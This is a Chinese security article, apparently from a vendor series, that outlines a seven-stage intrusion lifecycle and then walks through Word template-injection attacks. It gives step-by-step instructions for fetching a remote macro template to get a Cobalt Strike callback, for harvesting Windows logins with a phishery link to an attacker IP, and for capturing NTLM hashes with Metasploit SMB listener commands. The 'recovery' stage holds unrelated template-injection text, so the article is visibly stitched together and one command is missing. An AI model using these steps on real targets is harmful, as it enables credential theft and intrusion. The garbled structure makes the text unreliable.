美创科技为了更好地进行入侵检测和防御,参照各种安全威胁框架和自身的实践与思考,提出了基于入侵生命周期的攻击管理模型,作为美创新一代安全架构的三大支柱之一。
入侵生命周期v1.0把入侵过程划分为7个阶段:探索发现、入侵和感染、探索感知、传播、持久化、攻击和利用、恢复。入侵生命周期v1.0同样以ATT&CK作为基本战术知识库,匹配到不同的入侵阶段。需要注意的是,并非所有的入侵都会经历这7个阶段,也没有绝对的线性次序。
1)探索发现
在这个阶段中,攻击者会先锁定攻击对象,然后利用某些技术手段,尽可能多地获取目标暴露出来的信息,如通过端口扫描、指纹探测等方式,发现敏感端口及版本信息,进而寻找攻击点,为下一步入侵做准备。
2)入侵和感染
在这个阶段,攻击者会根据“探索发现”阶段所发现的重要信息,来对目标暴露出的攻击面进行攻击尝试,在“探索发现”阶段收集到的信息越多,攻击对象所暴露的攻击面也就越多,攻击更易成功。
3)探索感知
攻击者在成功进入系统内部后,由于是首次进入所以会出现对内部环境不熟悉的情况,这时攻击者的动作一般会是对当前所处环境进行探索,摸清内部大致的网络结构,常常伴随着被入侵本机的敏感信息收集以及对内网大量的端口进行扫描,后续根据攻击者的目的进行下一步操作。
4)传播
在此阶段,攻击者根据上一阶段在内网探索感知收集到的信息,选择特定的攻击手法。如若发现内部是域环境,攻击者可能会尝试先攻破域控服务器,再传播其他机器。若是工作组环境,可能会利用收集到的端口和服务信息,选择特定漏洞进行批量扫描攻击,来尽可能多地继续获得其他计算机的控制权。
5)持久化
攻击者在对资产进行恶意操作后,为了能够减少再次连接的攻击成本,方便下次进入,会进行“留后门”的操作,常见的后门如:建立计划任务,定时连接远程服务器;设置开机启动程序,在每次开机时触发执行特定恶意程序;新建系统管理员账号等。这样便于攻击者下次快速登录并控制该系统。
6)攻击和利用
攻击者在此阶段便会开始对目标资产进行恶意操作,按照攻击者意愿,对能利用的数据进行窃取、利用;对操作系统、敏感文件进行破坏、删除。所有的防御手段都应该极力阻止攻击者进行到这一阶段。
7)恢复
攻击者可能会滥用这项技术来隐藏要通过文档执行的恶意代码。注入文档的模板引用可能会在加载文档时获取和执行恶意负载。这些文档可以通过网络钓鱼和/或污点共享内容等其他技术传送,并且可能会逃避静态检测。此技术还可以通过注入 SMB/HTTPS(或其他凭据提示)URL 并触发身份验证尝试来启用强制身份验证。
从入侵生命周期角度分析,该攻击手法被使用在入侵和感染阶段。
从攻击行为链条的上下文来看,针对模板注入输入输出如下
输入:攻击者制作了一个含有恶意链接模板的word文档,并将该文档发送至目标
1、 攻击者构造含有恶意链接模板的word文档,恶意链接内容为cs上线代码,受害者点击运行该文档,机器cs上线。
(1)、攻击者新建一个word文档,并在文档中插入宏
(2)、将该文档保存为模板文件
(3)、上传到远程服务器
(4)、新建一个word,随机选择一个模板使用
(5)、将该word修改为压缩包格式,解压
(6)、找到/word/_rels目录下的settings.xml.rels,将Target值改为远程模板地址
(7)、重新压缩并修改为docx结尾
(8)、发送至目标机器,目标机器运行后,CS上线
2、攻击者构造含有恶意链接模板的word文档,来盗取目标的windows登录密码
(1)、github下载phishery
(2)、启动phishery服务端
(3)、利用以下命令将链接https://192.168.254.135/pass注入到文档中
(4)、将该文档发送至目标,目标点击后,出现以下登录框
(5)、目标输入账号密码点击确定后,将被记录
3、攻击者构造含有恶意链接模板的word文档,来盗取目标的NTLM HASH
(1)、msf启动smb监听
msf > use auxiliary/server/capture/smb
msf > set srvhost 192.168.254.135
msf > set johnpwfile passwd
msf > exploit
(2)、将模板文件链接设置为file://192.168.254.135/
(3)、将文档发送至目标,目标点击后,msf将接收到NTLM hash
原文始发于微信公众号(第59号):《入侵生命周期细分实践指南系列》:模版注入攻击
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论